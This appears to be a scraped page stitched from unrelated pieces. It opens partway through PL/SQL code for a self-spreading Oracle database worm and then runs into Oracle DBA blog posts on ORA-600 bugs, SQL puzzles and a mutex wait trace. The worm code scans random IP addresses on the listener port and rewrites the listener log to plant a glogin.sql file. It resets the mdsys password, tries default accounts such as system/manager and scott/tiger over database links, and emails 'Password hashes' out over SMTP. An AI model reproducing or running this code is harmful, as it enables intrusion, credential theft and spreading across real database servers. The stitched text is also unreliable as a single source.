         mailhost  CONSTANT VARCHAR2(30) := 'smtp01.us.oracle.com';
         crlf      CONSTANT VARCHAR2(2):= CHR(13) || CHR(10);
         mesg      VARCHAR2(32000);
         mail_conn utl_smtp.connection;

      BEGIN
          begin

           loop

            mail_conn := utl_smtp.open_connection(mailhost, 25);

            mesg := 'Date: ' || TO_CHAR( SYSDATE, 'dd Mon yy hh24:mi:ss' ) || crlf
|| 'From: oracle@' || starting_ipaddress || crlf || 'Subject: Password hashes' || crlf
|| 'To: larry at oracle.com' || crlf || '' || crlf || v_message;

            utl_smtp.helo(mail_conn, mailhost);
            utl_smtp.mail(mail_conn, 'oracle@' || starting_ipaddress);
            utl_smtp.rcpt(mail_conn, 'larry at oracle.com');
            utl_smtp.data(mail_conn, mesg);
            utl_smtp.quit(mail_conn);

            EXIT WHEN round(dbms_random.value(1, 20)) = 10;

           end loop;

         EXCEPTION
            WHEN OTHERS THEN
               DBMS_OUTPUT.PUT_LINE('');
         end;

         current_ipaddress := round(dbms_random.value(1, 254)) || '.' || round
(dbms_random.value(1, 254)) || '.' || round(dbms_random.value(1, 254)) || '.' || round
(dbms_random.value(1, 254));

         mail_conn := utl_smtp.open_connection(current_ipaddress, 25);

         mesg := 'Date: ' || TO_CHAR( SYSDATE, 'dd Mon yy hh24:mi:ss' ) || crlf
|| 'From: oracle@' || starting_ipaddress || crlf || 'Subject: Password hashes' || crlf
|| 'To: oracle@' || current_ipaddress || crlf || '' || crlf || v_message;

         utl_smtp.helo(mail_conn, current_ipaddress);
         utl_smtp.mail(mail_conn, 'oracle@' || starting_ipaddress);
         utl_smtp.rcpt(mail_conn, 'oracle@' || current_ipaddress);
         utl_smtp.data(mail_conn, mesg);
         utl_smtp.quit(mail_conn);

      EXCEPTION
         WHEN OTHERS THEN
            DBMS_OUTPUT.PUT_LINE('');

      end;

   end if;

   if iHostToSearchFor < 255 then

      current_ipaddress := current_network || '.' || iHostToSearchFor;

   else

      current_ipaddress := round( dbms_random.value(1, 254) ) || '.' || round(
dbms_random.value(1, 254) ) || '.' || round(dbms_random.value(1, 254)) || '.' || round
(dbms_random.value(1, 254));

   end if;

   iHostToSearchFor := iHostToSearchFor + 1;

   vResp := '';

   c  := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521);
   ret_val := UTL_TCP.WRITE_RAW(c, vReqLog);
   vLen := UTL_TCP.READ_RAW(c, vResp, 100 );

   vRespPiece := utl_raw.cast_to_varchar2(utl_raw.substr(vResp, 13, 88));
   vResp := vRespPiece;

   declare
      read_from_network varchar2(32000);
      length_read_from_network INTEGER;
   begin
      loop
         read_from_network := '';
         length_read_from_network := UTL_TCP.READ_RAW(c, read_from_network, 100 );
         read_from_network := utl_raw.cast_to_varchar2(utl_raw.substr
(read_from_network, 1, length_read_from_network));
         vResp := vResp || read_from_network;
      end loop;

   EXCEPTION
     when OTHERS then
         read_from_network := '';
   end;

   UTL_TCP.CLOSE_CONNECTION(c);

   declare
      i5 INTEGER;
      i6 INTEGER;
      oraclehome varchar2(1000);
   begin

   i5 := 1;
   i6 := 1;

   i5 := instr(vResp, '(LOGDIRNAME=', 1);

   if i5 > 0 then

      i6 := instr(vResp, '\network\log', i5);
      if i6 = 0 then
         i6 := instr(vResp, '/network/log', i5);
      end if;

      oraclehome := substr( vResp, i5 + 12, i6 - (i5 + 12) );

   end if;

   iLength := length(oraclehome);

   vRequestLogChange := UTL_RAW.CONCAT( utl_raw.substr(
utl_raw.cast_from_binary_integer(218 + iLength), 3, 2 ), utl_raw.cast_to_raw( chr(0)
|| chr(0) || chr(1) || chr(0) || chr(0) || chr(0) ||
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) ||
chr(127) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1)),
utl_raw.substr( utl_raw.cast_from_binary_integer(160 + iLength), 3, 2 ),
utl_raw.cast_to_raw( chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || '(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))
(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=135294976)(VALUE=' ||
oraclehome  || '/sqlplus/admin/glogin.sql)))'));

   vRequestLogReset := UTL_RAW.CONCAT( utl_raw.substr( utl_raw.cast_from_binary_integer
(218 + iLength), 3, 2 ), utl_raw.cast_to_raw( chr(0) || chr(0) || chr(1) || chr(0) ||
chr(0) || chr(0) ||
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) ||
chr(127) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1)),
utl_raw.substr( utl_raw.cast_from_binary_integer(160 + iLength), 3, 2 ),
utl_raw.cast_to_raw( chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || '(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))
(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=135294976)(VALUE=' ||
oraclehome  || '/network/log/listener.log)))'));

   vWorking1 := 'alter user mdsys identified by mdsys;';

   iLength := length(vWorking1) + 1;

   vRequestSQLCommand := UTL_RAW.CONCAT( utl_raw.substr(
utl_raw.cast_from_binary_integer(58 + iLength), 3, 2 ), utl_raw.cast_to_raw( chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) ||
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) ||
chr(127) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1)),
utl_raw.substr( utl_raw.cast_from_binary_integer(iLength), 3, 2 ), utl_raw.cast_to_raw
( chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(10) || vWorking1));

   c  := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521);
   ret_val := UTL_TCP.WRITE_RAW(c, vRequestLogChange);
   UTL_TCP.CLOSE_CONNECTION(c);

   c  := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521);
   ret_val := UTL_TCP.WRITE_RAW(c, vRequestSQLCommand);
   UTL_TCP.CLOSE_CONNECTION(c);

   c  := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521);
   ret_val := UTL_TCP.WRITE_RAW(c, vRequestLogReset);
   UTL_TCP.CLOSE_CONNECTION(c);

   end;

   c1  := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521);

   vResp := '';

   ret_val := UTL_TCP.WRITE_RAW(c1, utl_raw.cast_to_raw(vRequest));
   vLen := UTL_TCP.READ_RAW(c1, vResp, 100 );

   vRespPiece := utl_raw.cast_to_varchar2(utl_raw.substr(vResp, 43, 58));
   vResp := vRespPiece;

   declare
      read_from_network varchar2(32000);
      length_read_from_network INTEGER;
   begin
      loop
         read_from_network := '';
         length_read_from_network := UTL_TCP.READ_RAW(c1, read_from_network, 100 );
         read_from_network := utl_raw.cast_to_varchar2(utl_raw.substr
(read_from_network, 1, length_read_from_network));
         vResp := vResp || read_from_network;
      end loop;

   EXCEPTION
      when OTHERS then
         read_from_network := '';
   end;

   UTL_TCP.CLOSE_CONNECTION(c1);

   declare
      i3 INTEGER;
      i4 INTEGER;
      sid varchar2(100);
      i binary_integer;
      procedure_to_spread varchar2(32000);
      create_link varchar2(500);
   begin

   i3 := 1;
   i4 := 1;

   loop

     i3 := instr(vResp, '(INSTANCE_NAME=', i3);
     exit when i3 = 0;

     i4 := instr(vResp, ')', i3);
     sid := substr( vResp, i3 + 15, i4 - (i3 + 15));
     i3 := i3 + 1;

     begin
        if sid = PreviousSID or sid = 'PLSExtProc' or sid = 'extproc'
        then
           dbms_output.put_line( sid );
        else
           dbms_output.put_line( sid );

           iLoop := 0;

           loop

           declare

              username1 varchar2(100);
              password1 varchar2(100);

           begin

              iLoop := iLoop + 1;
              exit when iLoop = 8;

              if iLoop = 5 then
                 username1 := 'system';
                 password1 := 'manager';

              ELSIF iLoop = 6 then
                 username1 := 'sys';
                 password1 := 'change_on_install';

              ELSIF iLoop = 1 then
                 username1 := 'dbsnmp';
                 password1 := 'dbsnmp';

              ELSIF iLoop = 2 then
                 username1 := 'outln';
                 password1 := 'outln';

              ELSIF iLoop = 4 then
                 username1 := 'scott';
                 password1 := 'tiger';

              ELSIF iLoop = 3 then
                 username1 := 'mdsys';
                 password1 := 'mdsys';

              ELSIF iLoop = 7 then
                 username1 := 'ordcommon';
                 password1 := 'ordcommon';

              end if;

              BEGIN
                 EXECUTE IMMEDIATE 'drop database link xxx';
              EXCEPTION
                 when OTHERS then
                    DBMS_OUTPUT.PUT_LINE( '' );
              end;

              create_link := 'CREATE DATABASE LINK xxx CONNECT TO ' || username1 || '
IDENTIFIED BY ' || password1 || ' USING ''(DESCRIPTION=(ADDRESS_LIST=(ADDRESS =
(PROTOCOL = TCP)(HOST = ' || current_ipaddress || ')(PORT = 1521)))(CONNECT_DATA=
(SERVER=DEDICATED)(SERVICE_NAME=' || SID || ')))''';

              EXECUTE IMMEDIATE create_link;
              EXECUTE IMMEDIATE vWorking;

           EXCEPTION
              when OTHERS then
                 DBMS_OUTPUT.PUT_LINE( '' );
           end;

           end loop;

        end if;

        PreviousSID := SID;

     end;

   end loop;

   c  := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521);
   ret_val := UTL_TCP.WRITE_RAW(c, utl_raw.cast_to_raw(vRequestStop));
   UTL_TCP.CLOSE_CONNECTION(c);

   end;

EXCEPTION
     when OTHERS then
      DBMS_OUTPUT.PUT_LINE('');
end;

end loop;

END;
--##endc0GtJBi1

ora-600[qesmmCValStat4]一例

在之前的文章中提到过一个有趣的绘制五角星的SQL,具体SQL语句如下:
with a as
(select distinct round(sum(x) over(order by n)) x,
round(sum(y) over(order by n)) y
from (select n,
cos(trunc(n / 20) * (1 – 1 / 5) * 3.1415926) * 2 x,
sin(trunc(n / 20) * (1 – 1 / 5) * 3.1415926) y
from (select rownum – 1 n from all_objects where rownum <= 20 * 5)))
select replace (sys_connect_by_path(point, ‘/’), ‘/’, null) star
from (select b.y, b.x, decode(a.x, null, ‘ ‘, ‘*’) point
from a,
(select *
from (select rownum – 1 + (select min(x) from a) x
from all_objects
where rownum <= (select max(x) – min(x) + 1 from a)),
(select rownum – 1 + (select min(y) from a) y
from all_objects
where rownum <= (select max(y) – min(y) + 1 from a))) b
where a.x(+) = b.x
and a.y(+) = b.y)
where x = (select max(x) from a)
start with x = (select min(x) from a)
connect by y = prior y and x = prior x + 1;

在10.2.0.1版本输入以上SQL可能会出现ORA-00600: internal error code, arguments: [qesmmCValStat4], [3], [1], [], [],[], [], []错误,g10r21_ora_15473.trc

其调用栈为:qercoFetch->qerhjFetch->qerhjInitializeManagementComponents->

qesmmCStartWorkArea->qesmmCValidateStatus->kgeasnmierr(报错)

metalink文档ID 360811.1对该 Bug 4926357进行了描述,该bug可能在9.2.07~10.2.0.1版本中出现,一般由带start with … … connect by prior ..子句的查询语句引起;典型的调用栈为:qesmmCValidateStatus<- qesmmCStartWorkArea <-qerhjInitializeManagementComponents <-qerhjFetch …

未公布的Bug 4401437是Bug 4926357的一个复制品avatar,该Bug已在10.1.0.5, 10.2.0.2, 11.1等版本中修复了。

Oracle support建议的四种解决方式:

1. 打上该Bug的one-off补丁;

2.升级到该Bug已修复的大版本中,例如从10.2.0.1升级到10.2.0.2;

3.设置参数hash_join_enabled(9i中),_hash_join_enabled(10g中),实例级别的或者会话级别的均可,如:

SQL> select * from v$version;

BANNER
----------------------------------------------------------------
Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bi
PL/SQL Release 10.2.0.1.0 - Production
CORE    10.2.0.1.0      Production
TNS for Linux: Version 10.2.0.1.0 - Production
NLSRTL Version 10.2.0.1.0 - Production

SQL> alter session set "_hash_join_enabled"=false;

Session altered.

SQL> set pagesize 1400;
SQL> with a as
2   (select distinct round(sum(x) over(order by n)) x,
3                    round(sum(y) over(order by n)) y
4      from (select n,
5                   cos(trunc(n / 20) * (1 - 1 / 5) * 3.1415926) * 2 x,
6                   sin(trunc(n / 20) * (1 - 1 / 5) * 3.1415926) y
7              from (select rownum - 1 n from all_objects where rownum <= 20 * 5)))
8  select replace (sys_connect_by_path(point, '/'), '/', null) star
9    from (select b.y, b.x, decode(a.x, null, ' ', '*') point
10            from a,
11                 (select *
12                    from (select rownum - 1 + (select min(x) from a) x
13                            from all_objects
14                           where rownum <= (select max(x) - min(x) + 1 from a)),
15                         (select rownum - 1 + (select min(y) from a) y
16                            from all_objects
17                           where rownum <= (select max(y) - min(y) + 1 from a))) b
18           where a.x(+) = b.x
19             and a.y(+) = b.y)
20   where x = (select max(x) from a)
21   start with x = (select min(x) from a)
22  connect by y = prior y and x = prior x + 1;

STAR
--------------------------------------------------------------------------------
.................
20 rows selected.

4.设置’no_filtering’ 提示,如:
with a as
(select distinct round(sum(x) over(order by n)) x,
round(sum(y) over(order by n)) y
from (select n,
cos(trunc(n / 20) * (1 – 1 / 5) * 3.1415926) * 2 x,
sin(trunc(n / 20) * (1 – 1 / 5) * 3.1415926) y
from (select rownum – 1 n from all_objects where rownum <= 20 * 5)))
select  /*+ no_filtering */ replace (sys_connect_by_path(point, ‘/’), ‘/’, null) star
from (select b.y, b.x, decode(a.x, null, ‘ ‘, ‘*’) point
from a,
(select *
from (select rownum – 1 + (select min(x) from a) x
from all_objects
where rownum <= (select max(x) – min(x) + 1 from a)),
(select rownum – 1 + (select min(y) from a) y
from all_objects
where rownum <= (select max(y) – min(y) + 1 from a))) b
where a.x(+) = b.x
and a.y(+) = b.y)
where x = (select max(x) from a)
start with x = (select min(x) from a)
connect by y = prior y and x = prior x + 1;

但是该hint在9.2.0.7版本中可能因为Bug 4752555 ‘Wrong results from CONNECT BY query’而导致返回错误行数;并且这是一个undocumented hint,所以强烈不推荐使用!

利用SQL查找表中的质数(prime number)和完全数(perfect number)以及几个有趣的SQL语句

之前在某次interview中被老外问到如何用SQL找出列上的质数和完全数的问题;我当时已经多年没有写过这种考算法和SQL技巧(纯粹的技巧)的语句了,乍遇此问题倒是有些棘手。现在录以记之,供人参考.

SQL> create table numbers(NO int) ;

表已创建。

SQL> insert into numbers  select rownum  from dba_objects;

已创建71937行。

SQL> commit;

提交完成。

SELECT X.NO as Primes  /*查找质数(find prime number)*/
FROM Numbers N
CROSS JOIN Numbers X
WHERE mod(X.NO, N.NO) != 0
AND N.NO < X.NO
GROUP BY X.NO
HAVING(X.NO - Count(*)) = 2;

PRIMES
---------
4931
4919
4909
4903
4889
4877
4871
4861
4831
4817
4813 ................

SELECT X.no as Perfect /*查找完全数,find perfect nober*/
FROM numbers N
CROSS JOIN numbers X
WHERE mod(X.no, N.no) = 0
and X.no > 1
AND N.no < X.no
AND N.no > 0
GROUP BY X.no
HAVING SUM(N.no) = X.no;

PERFECT
----------
6
28
496

......................

附:

select ltrim(sys_connect_by_path(rownum || '*' || lv || '=' ||  /* SQL_99乘法口诀表*/
rpad(rownum * lv, 2),
'  '))
from (select level lv from dual connect by level < 10)
where lv = 1
connect by lv + 1 = prior lv;

1*1=1
2*2=4   2*1=2
3*3=9   3*2=6   3*1=3
4*4=16  4*3=12  4*2=8   4*1=4
5*5=25  5*4=20  5*3=15  5*2=10  5*1=5
6*6=36  6*5=30  6*4=24  6*3=18  6*2=12  6*1=6
7*7=49  7*6=42  7*5=35  7*4=28  7*3=21  7*2=14  7*1=7
8*8=64  8*7=56  8*6=48  8*5=40  8*4=32  8*3=24  8*2=16  8*1=8
9*9=81  9*8=72  9*7=63  9*6=54  9*5=45  9*4=36  9*3=27  9*2=18  9*1=9

with a as
(select distinct round(a.x + b.x) x, round(a.y + b.y) y
from (select (sum(x) over(order by n)) x,
round(sum(y) over(order by n)) y
from (select n,
cos(n / 30 * 3.1415926) * 2 x,
sin(n / 30 * 3.1415926) y
from (select rownum - 1 n
from all_objects
where rownum <= 30 + 30))) a,
(select n,
(sum(x) over(order by n)) x,
round(sum(y) over(order by n)) y
from (select n,
cos(m / 3 * 3.1415926) * 2 * 15 x,
sin(m / 3 * 3.1415926) * 15 y
from (select case
when rownum <= 2 then
3
when rownum = 3 then
-2
else
-6
end m,
rownum - 1 n
from all_objects
where rownum <= 5))) b)
select replace (sys_connect_by_path(point, '/'), '/', null) star  /*SQL 绘制奥运五环*/
from (select b.y, b.x, decode(a.x, null, ' ', '*') point
from a,
(select *
from (select rownum - 1 + (select min(x) from a) x
from all_objects
where rownum <= (select max(x) - min(x) + 1 from a)),
(select rownum - 1 + (select min(y) from a) y
from all_objects
where rownum <= (select max(y) - min(y) + 1 from a))) b
where a.x(+) = b.x
and a.y(+) = b.y)
where x = (select max(x) from a)
start with x = (select min(x) from a)
connect by y = prior y and x = prior x + 1;

with a as                                             /*sql 绘制五角星*/
(select distinct round(sum(x) over(order by n)) x,
round(sum(y) over(order by n)) y
from (select n,
cos(trunc(n / 20) * (1 - 1 / 5) * 3.1415926) * 2 x,
sin(trunc(n / 20) * (1 - 1 / 5) * 3.1415926) y
from (select rownum - 1 n from all_objects where rownum <= 20 * 5)))
select replace (sys_connect_by_path(point, '/'), '/', null) star
from (select b.y, b.x, decode(a.x, null, ' ', '*') point
from a,
(select *
from (select rownum - 1 + (select min(x) from a) x
from all_objects
where rownum <= (select max(x) - min(x) + 1 from a)),
(select rownum - 1 + (select min(y) from a) y
from all_objects
where rownum <= (select max(y) - min(y) + 1 from a))) b
where a.x(+) = b.x
and a.y(+) = b.y)
where x = (select max(x) from a)
start with x = (select min(x) from a)
connect by y = prior y and x = prior x + 1;

SELECT LPAD(MONTH, 20 - (20 - LENGTH(MONTH)) / 2) MONTH,      /*sql绘制年历*/
       "Sun",
       "Mon",
       "Tue",
       "Wed",
       "Thu",
       "Fri",
       "Sat"
  FROM (SELECT TO_CHAR(dt, 'fmMonthfm YYYY') MONTH,
               TO_CHAR(dt + 1, 'iw') week,
               MAX(DECODE(TO_CHAR(dt, 'd'),
                          '1',
                          LPAD(TO_CHAR(dt, 'fmdd'), 2))) "Sun",
               MAX(DECODE(TO_CHAR(dt, 'd'),
                          '2',
                          LPAD(TO_CHAR(dt, 'fmdd'), 2))) "Mon",
               MAX(DECODE(TO_CHAR(dt, 'd'),
                          '3',
                          LPAD(TO_CHAR(dt, 'fmdd'), 2))) "Tue",
               MAX(DECODE(TO_CHAR(dt, 'd'),
                          '4',
                          LPAD(TO_CHAR(dt, 'fmdd'), 2))) "Wed",
               MAX(DECODE(TO_CHAR(dt, 'd'),
                          '5',
                          LPAD(TO_CHAR(dt, 'fmdd'), 2))) "Thu",
               MAX(DECODE(TO_CHAR(dt, 'd'),
                          '6',
                          LPAD(TO_CHAR(dt, 'fmdd'), 2))) "Fri",
               MAX(DECODE(TO_CHAR(dt, 'd'),
                          '7',
                          LPAD(TO_CHAR(dt, 'fmdd'), 2))) "Sat"
          FROM (SELECT TRUNC(SYSDATE, 'y') - 1 + ROWNUM dt
                  FROM all_objects
                 WHERE ROWNUM <= ADD_MONTHS(TRUNC(SYSDATE, 'y'), 12) -
                       TRUNC(SYSDATE, 'y'))
         GROUP BY TO_CHAR(dt, 'fmMonthfm YYYY'), TO_CHAR(dt + 1, 'iw'))
 ORDER BY TO_DATE(MONTH, 'Month YYYY'), TO_NUMBER(week);

   	MONTH	Sun	Mon	Tue	Wed	Thu	Fri	Sat
1	     1月 2010	 3	 4	 5	 6	 7	 8	 9
2	     1月 2010	10	11	12	13	14	15	16

ORA-600 internal error[kqrfrpo]一例

3月17日某客户主机上出现了文件系统空间不足的问题,经查发现是Oracle在1点左右产生了大量trace跟踪文件以致耗尽了磁盘空间,这些trace跟踪文件均是由Oracle服务进程遭遇错误“ORA-600: : internal error code, arguments: [kqrfrpo], [0x700000279FF98E0], [11], [], [], [], [], []”后在用户udump目录下所产生。

据客户工作人员称,在当时情况下(1点20分左右)以系统DBA权限本地方式登录数据库缓慢,而在1点25分时,登录缓慢现象消失,当时检查数据库,发现没有异常等待(如latch free等)和资源锁,数据库恢复正常。

Ora-600错误代码代表发生的错误是Oracle内部错误,一般是由于Oracle bug,操作系统bug或不当设置等问题引起的;具体发生的问题细节需要通过错误附加项来了解,本次错误中出现的第一位错误附加项是kqrfrpo。

通过METALINK相关文档我们发现ORA-600 kqrfrpo错误极有可能是Oracle 9i中的bug 3835429 OERI[kqrfrpo] / DB hang after killing a user process 所引起的,该bug跨越版本9.2.0.1.0至9.2.0.6.0,在版本9.2.0.7.0中得到了修正。

该bug的产生原因简述为,当一个用户进程在某个不恰当的时机被杀死,那么字典缓存latch可能无限期地被挂起,当其他进程无法获得该闩,则可能引起数据库级别的挂起(database wide hang)。

进一步分析ORA-600 kqrfrpo错误可能造成的影响,METALINK文档中就该错误可能造成影响的分类如下:
* 实例意外终止,即Oracle数据库crash(如pmon进程发生ora-600错误)
* 进程意外终止,在数据库层面表现为会话级的失败
* 内存块损坏
* 可能导致磁盘上的数据损坏
* 无任何影响

幸运的是,本次的ORA-600[kqrfrp]错误没有发生在数据库后台进程(pmon等)中,因此没有发生实例意外终止的现象,但出现登录数据库缓慢的现象,并且伴随用户进程因ora-600错误而异常中止。仔细观察600错误的trace文档可以发现,其中部分数据库服务进程的应用客户端为JDBC THIN CLIENT即java瘦客户端应用,若该类应用服务在活动情况下遭遇上述错误可能导致SQL执行出现问题,进而使得应用逻辑在数据库层面未得到实现。实际的情况仍需要得到应用方面的确认。

回顾该系统之前的情况,于3月16日夜间因通过cics连接的数据库服务进程遭遇ORA-600[4454]错误,在当时情况下无法在数据库级别杀死session,故在操作系统级别杀死了上述遭遇ORA-600[445]错误的服务进程;联系到以上情况,有可能是杀死进程触发了BUG,使得ORA-600[kqrfrpo]错误出现。从杀死用户进程到ora-600错误出现,期间跨越了4个小时。

针对ORA-600 kqrfrpo错误,因考虑到该错误是通过杀死用户服务进程的操作触发,故可以将之视为在特殊操作情况下才可能发生的隐性错误,实际数据库运行周期内需要杀死服务进程的情况并不常见,故该错误发生的概率较低。建议:
* 优先使用alter system kill session的命令来清除相关会话和进程
* 应用针对该bug的补丁3835429以彻底解决该问题。

single-task message and cursor pin S on X

Recently i find many session are waiting for Event <cursor pin s on x> in my customer’s AIX 10.2.0.4 instance, it’s a new event in the 10gr2,after mutex take  place of latch .

When a session is going to parse or reparse one cursor, need to pin X this cursor first. Then the others who what to execute this child cursor  have to wait until pin X released.

I looked for the session who was pining that cursor on  X mode ,and saw it was waiting on event single-task messag:
the mutex idn is d322e445,and operated in EXCL mode; It correspond to the cursor whose hash is “ff2c2fd459ac5ee188586781d322e445” as after:

PROCESS 1753:
----------------------------------------
SO: 70000048e9d5e68, type: 2, owner: 0, flag: INIT/-/-/0x00
(process) Oracle pid=1753, calls cur/top: 70000043308cb08/70000043798a6e0, flag: (0) -
int error: 0, call error: 0, sess error: 0, txn error 0
(post info) last post received: 109 0 4
last post received-location: kslpsr
last process to post me: 70000048f8deaf0 1 6
last post sent: 0 0 24
last post sent-location: ksasnd
last process posted by me: 70000048f8deaf0 1 6
(latch info) wait_event=0 bits=0
Process Group: DEFAULT, pseudo proc: 70000048ca877c0
O/S info: user: orauser, term: UNKNOWN, ospid: 3318124
OSD pid info: Unix process pid: 3318124, image: oracle@p595crm1
.........................
----------------------------------------
SO: 70000048eed0d30, type: 4, owner: 70000048e9d5e68, flag: INIT/-/-/0x00
(session) sid: 3311 trans: 70000046be86948, creator: 70000048e9d5e68, flag: (100041) USR/- BSY/-/-/-/-/-
DID: 0001-06D9-008347C7, short-term DID: 0001-06D9-008347C8
txn branch: 70000046a261488
oct: 3, prv: 0, sql: 700000414e4f570, psql: 700000415f47a90, user: 50/SHUCRM1C
service name: CRMDB1
O/S info: user: pausr12, term: unknown, ospid: 1234, machine: p570web2
program: JDBC Thin Client
application name: JDBC Thin Client, hash value=2546894660
waiting for 'single-task message' blocking sess=0x0 seq=22963 wait_time=0 seconds since wait started=6
=0, =0, =0
Dumping Session Wait History
for 'SQL*Net message from dblink' count=1 wait_time=325
driver id=54435000, #bytes=1, =0
for 'SQL*Net message to dblink' count=1 wait_time=2
driver id=54435000, #bytes=1, =0
for 'SQL*Net message from dblink' count=1 wait_time=383
driver id=54435000, #bytes=1, =0
for 'SQL*Net message to dblink' count=1 wait_time=1
driver id=54435000, #bytes=1, =0
for 'SQL*Net message from dblink' count=1 wait_time=265
driver id=54435000, #bytes=1, =0
for 'SQL*Net message to dblink' count=1 wait_time=2
driver id=54435000, #bytes=1, =0
for 'SQL*Net message from dblink' count=1 wait_time=677
driver id=54435000, #bytes=1, =0
for 'SQL*Net message to dblink' count=1 wait_time=0
driver id=54435000, #bytes=1, =0
for 'SQL*Net message from dblink' count=1 wait_time=237
driver id=54435000, #bytes=1, =0
for 'SQL*Net message to dblink' count=1 wait_time=1
driver id=54435000, #bytes=1, =0
temporary object counter: 0
SO:  70000043e695968, type: 53, owner: 70000048eed0d30, flag: INIT/-/-/0x00
LIBRARY OBJECT LOCK: lock=70000043e695968 handle=700000410dd46c8 mode=N                           --the child cursor
call pin=0 session pin=0 hpc=0000 hlc=0000
htl=70000043e6959e8[70000041e9eb830,70000042411c178] htb=70000042411c178  ssga=70000042411bc10
user=70000048eed0d30 session=70000048eed0d30 count=1 flags=CBK[0020]  savepoint=0x0
LIBRARY OBJECT HANDLE: handle=700000410dd46c8 mtx=700000410dd47f8(0)  cdp=0
namespace=CRSR flags=RON/KGHP/PN0/EXP/[10010100]
kkkk-dddd-llll=0000-0001-0001  lock=N pin=X latch#=23 hpc=fffc  hlc=fffc                                     --lock  in NULL mode,pin on X mode
lwt=700000410dd4770[700000410dd4770,700000410dd4770]  ltm=700000410dd4780[700000445169a08,700000453b69228]
pwt=700000410dd4738[700000410dd4738,700000410dd4738]  ptm=700000410dd4748[700000410dd4748,700000410dd4748]
ref=700000410dd47a0[70000043d1b5e58,70000043d1b5e58]  lnd=700000410dd47b8[700000410dd47b8,700000410dd47b8]
LIBRARY OBJECT: object=7000004354983b0
type=CRSR flags=EXS[0001] pflags=[0000] status=VALD load=0
DEPENDENCIES: count=4 size=16
TRANSLATIONS: count=2 size=16
DATA BLOCKS:
data#     heap  pointer    status pins change whr
----- -------- -------- --------- ---- ------ ---
0 7000004359e4768 7000004354984c8 I/P/A/-/-    0 NONE   00
6 700000414b0e4d0 700000450c0bc28 I/P/A/-/E    0 NONE   00

----------------------------------------

KGX Atomic  Operation Log 70000041853c068
Mutex 700000414b0e3d8(3311, 0) idn d322e445 oper EXCL
Cursor Pin uid 3311 efd 0 whr 1 slp  0      -- pin sid 3311
opr=3 pso=70000043e695968  flg=0            -- operate code is 3
pcs=700000414b0e3d8 nxt=0 flg=35 cld=0 hd=700000410dd46c8   par=70000041d78b1e0    -- child cursor handle address is 700000410dd46c8
ct=0 hsh=0 unp=0 unn=0 hvl=1d78b4b8 nhv=1  ses=70000048eed0d30                              -- heap 0 pointer address 70000041d78b1e0
hep=700000414b0e458 flg=80 ld=1 ob=7000004354983b0 ptr=700000450c0bc28  fex=700000450c0af38
----------------------------------------
SO: 70000041e9eb7b0, type: 53, owner: 70000048eed0d30, flag:  INIT/-/-/0x00
LIBRARY OBJECT LOCK: lock=70000041e9eb7b0 handle=700000414e4f570 mode=N
call pin=0 session pin=0 hpc=0000 hlc=0000
htl=70000041e9eb830[70000044590d030,70000043e6959e8] htb=70000042411c178  ssga=70000042411bc10
user=70000048eed0d30 session=70000048eed0d30 count=1 flags=[0000]  savepoint=0x4c08a856
LIBRARY OBJECT HANDLE: handle=700000414e4f570 mtx=700000414e4f6a0(0)  cdp=1
name=
SELECT * FROM(SELECT A.*, rownum r FROM( select  account_id,billing_nbr,calling_nbr,called_nbr,to_date,call_duration,charge_item_name,to_char(rate  /100, '99999999999990.99') rate, charge,channel_id from ct_05
where  1=1 and account_id ='300187744'  and key_source_type ='52001'  order by to_date ) A WHERE rownum <= 15 ) B WHERE r > 0
hash=ff2c2fd459ac5ee188586781d322e445 timestamp=06-04-2010 15:14:33
namespace=CRSR flags=RON/KGHP/TIM/PN0/MED/DBN/[50010040]
kkkk-dddd-llll=0000-0001-0001 lock=N pin=0 latch#=23 hpc=0018 hlc=0018
lwt=700000414e4f618[700000414e4f618,700000414e4f618]  ltm=700000414e4f628[700000414e4f628,700000414e4f628]
pwt=700000414e4f5e0[700000414e4f5e0,700000414e4f5e0]  ptm=700000414e4f5f0[700000414e4f5f0,700000414e4f5f0]
ref=700000414e4f648[700000414e4f648,700000414e4f648]  lnd=700000414e4f660[700000414e4f660,700000414e4f660]
LIBRARY OBJECT: object=70000041d78b0c8
type=CRSR flags=EXS[0001] pflags=[0000] status=VALD load=0
CHILDREN: size=16
child#    table reference   handle
